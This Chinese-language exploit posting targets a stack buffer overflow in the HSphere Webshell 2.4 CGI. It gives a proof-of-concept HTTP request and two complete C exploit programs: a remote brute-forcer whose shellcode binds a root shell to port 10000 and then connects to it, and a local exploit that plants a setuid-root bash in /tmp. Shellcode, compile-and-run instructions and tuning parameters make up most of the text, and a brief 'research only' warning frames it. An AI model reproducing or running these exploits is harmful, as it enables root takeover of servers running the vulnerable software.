HSphereWebShell远程缓冲区溢出漏洞 Exploit

                                                警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Carl Livitt （[email protected]）提供了如下测试方法：

POST /cgi-bin/webshell HTTP/1.1 
Host: www.vulnerablesite.com 
Content-Type: multipart/form-data boundary=AAAAA (300 "A"s) 
Content-Length: 900 


--AAAAA (300 "A"s) 
Content-Disposition: form-data; name="TESTNAME"; filename="TESTFILENAME"

Carl Livitt（[email protected]） 提供了如下测试程序：

/* 
* Remote r00t exploit for Webshell 2.4 (possibly other versions). 
* Vulnerability found and exploit written by Carl Livitt 
* (carl (@) learningshophull.co.uk). 
* 


Exploits a simple stack-based buffer overflow in CGI.C of the 
HSphere webshell component which is installed SUID & GUID root 
by default. 


This exploit will bind a r00t shell to port 10000 (by default) of 
the remote box. Feel free to use any shellcode of your choice. 


This code is a butchered version of the local exploit for 
webshell. It works on my test box, and won't be refined any further, 
although the bruteforcer should work on most webshell installations. 


To exploit: 


gcc -o webshell-remote webshell-remote.c 
./webshell-remote -t www.host-to-exploit.com -l /path/to/webshell 


That's it. It'll work on almost all vulnerable hosts (running Linux). 
*/ 



#include <sys/types.h> 
#include <sys/stat.h> 
#include <sys/socket.h> 
#include <stdio.h> 
#include <string.h> 
#include <unistd.h> 
#include <signal.h> 
#include <netdb.h> 
#include <time.h> 


/* 
* Play with these to make it work (if it fails!) 
*/ 
#define EGG_SIZE_START 280 
#define EGG_SIZE_END 291 
#define RET_ADDR_START 0xbffff010 
#define RET_ADDR_END 0xbfffffff 
#define RET_ADDR_INCR 768 
#define COMMAND1 "id\n" 
#define COMMAND2 "uname -a\n" 
#define ROOT_SHELL_PORT 10000 


// should only be needed against localhost. Set to 0 to disable. 
#define SLEEP_TIME 125000000L 


// don't play with this, you'll only break things. 
#define CONTENT_LENGTH 43 


void make_shellcode(); 
void make_exploit_buffer(); 
void make_boundary_buffer(); 


/* 
* 88 bytes portbinding shellcode - linux-x86 
* - by bighawk ([email protected]) 
* setuid(0) and setgid(0) added by Carl Livitt 
*/ 
char shellcode[] = 
   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" // setuid(0),setgid(0) 
   "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" 
   "\x89\xc7\x52\x66\x68" 
   "XX" // XX is port number 
   "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51" 
   "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57" 
   "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80" 
   "\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" 
   "\x51\x53\x89\xe1\xb0\x0b\xcd\x80"; // bind shell on port 10000 


/* 
* Ahhhh, global variables make life easy :) 
*/ 
char sc[1024]; 
char egg[1024]; 
char exploit_buf[4096]; 
char target[256]; 
int port=80; 
char location[1024]; 
unsigned long RET_ADDR; 
int EGG_SIZE, root_shell_port=ROOT_SHELL_PORT; 


char usage[]= 
"-h This cruft\n" 
"-t host Target host (eg. www.xyzzy.com)\n" 
"-p port Target port [80]\n" 
"-P port Port to bind shell on remote host [10000]\n" 
"-l location Location of webshell (eg. /cgi-bin/webshell)\n\n" 
"Example:\n\n" 
"./exp-remote -t www.xyzzy.com -p 8080 -P 12345 -l /psoft/servlet/psoft.hsphere.CP\n\n" 
"This would attack http://www.xyzzy.com:8080/psoft/servlet/psoft.hsphere.CP\n" 
"and bind a root shell to port 12345 if successful.\n\n"; 


/* 
* The fun begins here... 
*/ 


main(int argc, char **argv) { 
        int ch, websock, shellsock,r=1; 
        struct hostent *host; 
        struct sockaddr_in saddr; 
        char buf[8092]; 
        struct timespec sleepTime; 
        fd_set rfds; 
        int retval; 
                 
        /* 
         * Process command-line args 
         */ 
        while((ch=getopt(argc,argv,"ht:p:P:l:"))!=-1) { 
                switch(ch) { 
                        case 'h': 
                                printf("%s",usage); 
                                exit(0); 
                                break; 
                        case 't': 
                                strncpy(target, optarg, sizeof(target)-1); 
                                break; 
                        case 'p': 
                                port=atoi(optarg); 
                                break; 
                        case 'P': 
                                root_shell_port=atoi(optarg); 
                                break; 
                        case 'l': 
                                strncpy(location, optarg, sizeof(location)-1); 
                                break; 
                        default: 
                                printf("%s", usage); 
                                exit(0); 
                                break; 
                } 
        } 
         
        /* 
         * Tell the attacker we're about to start the exploit. 
         * Look up the IP address of the host specified on the 
         * command-line 
         */ 
        if((host=gethostbyname(target))==NULL) { 
                printf("Host not found. Usage:\n%s\n", usage); 
                exit(1); 
        } 
        printf("Exploiting http://%s:%d%s%s..", target, port, (location[0]=='/')?"":"/", location); 
         
        /* 
         * Start the bruteforce loop 
         */ 
        for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) { 
                for(EGG_SIZE=EGG_SIZE_START; EGG_SIZE<EGG_SIZE_END; EGG_SIZE++) { 
                        /* 
                          * Setup the exploit strings and 
                          * HTTP headers. The Accept-Encoding header 
                          * will hold shellcode: it will be passed 
                          * to the environment of webshell giving us 
                          * a reasonably predictable RET address. 
                          */ 
                        make_shellcode(); 
                        make_boundary_buffer(); 
                        make_exploit_buffer(); 
                 
                        /* 
                          * Now connect to the host and send the exploit 
                          * string... 
                          */ 
                        if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { 
                                perror("socket()"); 
                                exit(1); 
                        } 
                        memset((void *)&saddr, 0, sizeof(struct sockaddr_in)); 
                        saddr.sin_family=AF_INET; 
                        saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]); 
                        saddr.sin_port=htons(port); 
                        printf(".");fflush(stdout); 
                        if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) { 
                                perror("connect()"); 
                                exit(1); 
                        } 
                        send(websock, exploit_buf, strlen(exploit_buf), 0); 
                        close(websock); 
                         
                        /* 
                         * This pause is needed when exploiting localhost. 
                         * It can be ignored against remote hosts (I think!) 
                         */ 
                        sleepTime.tv_sec=0; 
                        sleepTime.tv_nsec=SLEEP_TIME; 
                        nanosleep(&sleepTime, &sleepTime); 
                 
                        /* 
                          * If the exploit attempt succeded, there should now 
                         * be a r00t shell bound to port xxxxx of the target 
                         * box. Lets try and connect to it... 
                          */ 
                        if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { 
                                perror("socket()"); 
                                exit(1); 
                        } 
                        memset((void *)&saddr, 0, sizeof(struct sockaddr_in)); 
                        saddr.sin_family=AF_INET; 
                        saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]); 
                        saddr.sin_port=htons(root_shell_port); 
                        if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0) 
                                goto CONNECTED; // goto? Damn amateurs... 
                                 
                        /* 
                         * If we get here, the exploit failed. Try the next 
                         * iteration of the brute force loop. 
                         */ 
                        close(shellsock); 
                } 
        } 
        /* 
         * If we get here, then the bruteforce was exhausted without a 
         * succesful exploit. 
         */ 
        printf("\nFailed to exploit the webshell binary. :(\n"); 
        exit(0); 


CONNECTED: 
        /* 
         * We're now connected to the remote host. Issue 
         * some commands... ('id' and 'uname -a' by default) 
         */ 
        printf("\n\nExploit successful!\nIssuing some commands...\n\n"); 
        if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) { 
                perror("send()"); 
                exit(1); 
        } 
        buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0'; 
        printf("%s", buf); 
        send(shellsock, COMMAND2, strlen(COMMAND2), 0); 
        buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0'; 
        printf("%s\n", buf); 
        printf("You are now at a bash prompt...\n"); 
         
        /* 
         * Now let the attacker issue commands to the remote 
         * shell, just as if (s)he had launched 'nc host 10000'. 
         * Note the dodgy coding of assigning NULLs to the buf[] 
         * array. What would happen if recv() or read() returned -1 ? 
         * You guessed it: we mung some variables on the stack! 
         */ 
        do { 
                FD_ZERO(&rfds); 
                FD_SET(0, &rfds); 
                FD_SET(shellsock, &rfds); 
                retval=select(shellsock+1, &rfds, NULL, NULL, NULL); 
                if(retval) { 
                        if(FD_ISSET(shellsock, &rfds)) { 
                                buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0'; 
                                printf("%s", buf); 
                        } 
                        if(FD_ISSET(0, &rfds)) { 
                                buf[(r=read(0, buf, sizeof(buf)-1))]='\0'; 
                                send(shellsock, buf, strlen(buf), 0); 
                        } 
                         
                } 
        } while(retval && r); // loop until connection terminates 
        close(shellsock); 
        exit(0); 
} 


/* 
* Create the HTTP request that will setup the exploit 
* conditions in webshell. Shellcode is stored in the 
* Accept-Encoding HTTP header. 
*/ 
void make_exploit_buffer() { 
        sprintf(exploit_buf,"POST %s HTTP/1.1\n",location); 
        sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target); 
        sprintf(exploit_buf,"%sAccept-Encoding: %s\n",exploit_buf, sc); 
        sprintf(exploit_buf,"%s%s\n",exploit_buf,egg); 
        sprintf(exploit_buf,"%sContent-Length: %d\n\n",exploit_buf,EGG_SIZE*2); 
        sprintf(exploit_buf,"%s--%s\n",exploit_buf, egg+CONTENT_LENGTH); 
        sprintf(exploit_buf,"%sContent-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n",exploit_buf); 
        sprintf(exploit_buf,"%s%-*s\n",exploit_buf, EGG_SIZE*4," "); 
} 


/* 
* Create the buffer that holds the 'boundary' data. This 
* is what actually overflows the buffer on the stack. 
*/ 
void make_boundary_buffer() { 
        int i; 


        memset(egg, 0, EGG_SIZE-1); 
        memcpy(egg, "Content-Type: multipart/form-data boundary=", CONTENT_LENGTH); 
        for(i=0;i<EGG_SIZE; i+=4) { 
                egg[i+CONTENT_LENGTH]=RET_ADDR&0xff; 
                egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff; 
                egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff; 
                egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff; 
        } 
        egg[EGG_SIZE+CONTENT_LENGTH-1]='\0'; 
} 


/* 
* Creates a 1024-byte buffer holding NOPs and shellcode. 
*/ 
void make_shellcode() { 
        // Fill in the port number 
        shellcode[33]=htons(root_shell_port)&0xff; 
        shellcode[34]=(htons(root_shell_port)>>8)&0xff; 


        // Finish making shellcode buffer 
        memset(sc, 0x90,1024); 
        memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode)); 
        sc[1023]='\0'; 
} Carl Livitt（[email protected]） 提供了如下测试程序：

/* 
* Local r00t exploit for Webshell 2.4 (possibly other versions). 
* Vulnerability found and exploit written by Carl Livitt 
* (carl (@) learningshophull.co.uk). 
* 


Exploits a simple stack-based buffer overflow in CGI.C of the 
HSphere webshell component which is installed SUID & GUID root 
by default. 


Uses a bruteforce method to guess the return address on the stack 
and the amount of data to overflow the buffer with; this ensures 
it works under many different environments. I originally hardcoded 
these values, but found that this was unreliable. 


Copy this file (webshell-local.c) to /tmp and then: 


cd /tmp 
gcc -o webshell-local webshell-local.c 
cd /path/to/the/webshell/directory 
/tmp/webshell-local 


That should get you r00t without any messing about. 


*/ 



#include <sys/types.h> 
#include <sys/stat.h> 
#include <stdio.h> 
#include <string.h> 
#include <unistd.h> 
#include <signal.h> 


#define EGG_SIZE_START 257 
#define EGG_SIZE_END 291 
#define RET_ADDR_START 0xbfffe910 
#define RET_ADDR_END 0xbfffffff 
#define RET_ADDR_INCREMENT 256 
#define CONTENT_LENGTH 42 
#define SHELLSCRIPT_FILE "/tmp/zz" 
#define EXPLOIT_FILE "/tmp/.webshell.txt" 
#define ROOT_SHELL "/tmp/rs" 
#define WEBSHELL_PROGRAM "./webshell" 


void create_shellscript_file(); 
void make_shellcode(); 
void make_exploit_buffer(); 
void setup_environment(); 
void make_exploit_file(); 


char shellcode[] = 
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0) 
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
        "\x80\xe8\xdc\xff\xff\xff/tmp/zz"; // aleph1 execve() of /bin/sh 


char sc[1024]; 
char egg[1024]; 


char shell_script[]= 
        "#!/bin/sh\n" 
        "cd /tmp\n" 
        "cat << ROOTSHELL > "ROOT_SHELL".c\n" 
        "main() { setuid(0);setgid(0);system(\"/bin/bash\");}\n" 
        "ROOTSHELL\n" 
        "gcc -o "ROOT_SHELL" "ROOT_SHELL".c\n" 
        "chown root:root "ROOT_SHELL"*\n" 
        "chmod 6777 "ROOT_SHELL"\n" 
        "chmod 0666 "ROOT_SHELL".c\n"; 


char greeting[]="Webshell 2.4 bruteforce exploit for Linux x86 - by Carl Livitt\n"; 


int EGG_SIZE=EGG_SIZE_START; 
unsigned long RET_ADDR=(unsigned long)RET_ADDR_START; 
char *env[4]; 


/* 
* The fun begins here... 
*/ 


main(int argc, char **argv) { 
        int brute_force_mode=1, status, pid; 
        struct stat s; 


        /* 
         * Check to see if the exploit has been run before... 
         */ 
        if(stat((char *)ROOT_SHELL,&s)==0) { 
                printf("Root shell already exists... executing...\n"); 
                system(ROOT_SHELL); 
                exit(0); 
        } 


        /* 
         * Make sure that the webshell binary can be found 
         * and is SUID root 
         */ 
        if(stat(WEBSHELL_PROGRAM, &s)!=0) { 
                printf(WEBSHELL_PROGRAM" not found!\n"); 
                exit(1); 
        } else if(!(s.st_mode&S_ISUID)) { 
                printf(WEBSHELL_PROGRAM" is not SUID root!\n"); 
                exit(1); 
        } 


        /* 
         * Start the bruteforce loop... 
         */ 
        printf("%s\nBruteforcing EGG_SIZE and RET_ADDR..", greeting); 
        do { 
                // setup exploit buffers 
                make_shellcode(); 
                make_exploit_buffer(); 
                setup_environment(); 
                make_exploit_file(); 
                create_shellscript_file(); 
                printf(".");fflush(stdout); 


                // fork and execute the webshell binary, passing it the 
                // exploit input. 
                if((pid=fork())==0) { 
                        system(WEBSHELL_PROGRAM" < "EXPLOIT_FILE" &>/dev/null"); 
                        exit(0); 
                } else { 
                        waitpid(pid, &status, 0); 
                } 


                // If ROOT_SHELL exists, then the exploit was successful. 
                // So execute it! 
                if(stat((char *)ROOT_SHELL,&s)==0) { 
                        printf("\nEntering r00t shell...\n\n"); 
                        system(ROOT_SHELL); 
                        exit(0); 
                } 


                // The ROOT_SHELL did not exist, so adjust the bruteforce 
                // parameters and continue... 
                EGG_SIZE++; 
                if(EGG_SIZE>EGG_SIZE_END) { 
                        RET_ADDR+=RET_ADDR_INCREMENT; 
                        if(RET_ADDR>RET_ADDR_END) { 
                                printf("Leaving bruteforce mode...\n"); 
                                brute_force_mode=0; 
                        } else { 
                                EGG_SIZE=EGG_SIZE_START; 
                        } 
                } 
        } while(brute_force_mode); 
        printf("Bruteforce exhausted - EXPLOIT FAILED.\n"); 
} 


/* 
* Creates the file to be used as stdin for webshell. 
*/ 
void make_exploit_file() { 
        FILE *fp; 


        if((fp=fopen(EXPLOIT_FILE,"w"))==NULL) { 
                printf("Could not create exploit file %s\n", EXPLOIT_FILE); 
                exit(1); 
        } 
        fprintf(fp, "--%s\n", egg+CONTENT_LENGTH); 
        fprintf(fp, "Content-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n"); 
        fclose(fp); 
} 


/* 
* Create the malicious environment in which webshell will run 
*/ 
void setup_environment() { 
        int i; 


        unsetenv("S"); 
        unsetenv("CONTENT_LENGTH"); 
        unsetenv("REQUEST_METHOD"); 
        unsetenv("CONTENT_TYPE"); 
        env[0]=strdup(egg); 
        env[1]=strdup(sc); 
        env[2]=strdup("CONTENT_LENGTH=261"); 
        env[3]=strdup("REQUEST_METHOD=POST"); 
        env[4]=NULL; 
        for(i=0;i<4;i++) 
                putenv(env[i]); 
} 


/* 
* It is the 'boundary' section of a multipart/form-data MIME type 
* that overflows the buffer in webshell. This function creates the 
* malicious boundary. 
*/ 
void make_exploit_buffer() { 
        int i; 


        memset(egg, 0, EGG_SIZE-1); 
        memcpy(egg, "CONTENT_TYPE=multipart/form-data boundary=", CONTENT_LENGTH); 
        for(i=0;i<EGG_SIZE; i+=4) { 
                egg[i+CONTENT_LENGTH]=RET_ADDR&0xff; 
                egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff; 
                egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff; 
                egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff; 
        } 
        egg[EGG_SIZE+CONTENT_LENGTH-1]='\0'; 
} 


/* 
* Makes a 1024-byte buffer filled with NOPs and shellcode 
*/ 
void make_shellcode() { 
        memset(sc, 0x90,1024); 
        sc[0]='S'; 
        sc[1]='='; 
        memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode)); 
        sc[1023]='\0'; 
} 


/* 
* Generate the shellscript that will be executed by the shellcode. 
* By default, it will create a SUID root shell in /tmp 
*/ 
void create_shellscript_file() { 
        FILE *fp; 


        if((fp=fopen(SHELLSCRIPT_FILE,"w"))==NULL) { 
                printf("Could not create %s\n", SHELLSCRIPT_FILE); 
                exit(1); 
        } 
        fprintf(fp, "%s", shell_script); 
        fclose(fp); 
        chmod(SHELLSCRIPT_FILE, S_IXOTH | S_IROTH | S_IWOTH | S_IXUSR | S_IRUSR | S_IWUSR); 
}